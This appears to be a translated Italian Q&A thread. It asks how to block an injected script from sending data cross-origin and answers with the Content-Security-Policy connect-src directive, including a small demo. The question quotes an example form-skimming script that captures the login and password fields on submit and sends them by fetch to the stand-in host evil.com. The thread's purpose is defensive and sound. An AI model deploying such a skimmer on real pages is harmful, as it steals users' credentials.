Impedisci la scrittura cross-origin javascript

0

Supponiamo che un utente malintenzionato riesca a iniettare questo script in una pagina di accesso:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);
}

È possibile prevenire la richiesta? La stessa politica di origine non sembra supportare tale restrizione.

Forse una whitelist simile a quella della Content Security Policy?

    
posta Theophany 21.12.2018 - 15:05
fonte

1 risposta

1

Il Content-Security-Policy connect-src direttiva è ciò che stai cercando. Questa direttiva limita a quali host il metodo fetch può inviare richieste.

Ecco una prova di concetto minima:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

Il codice sopra riportato genera il seguente avviso:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.
    
risposta data 21.12.2018 - 15:20
fonte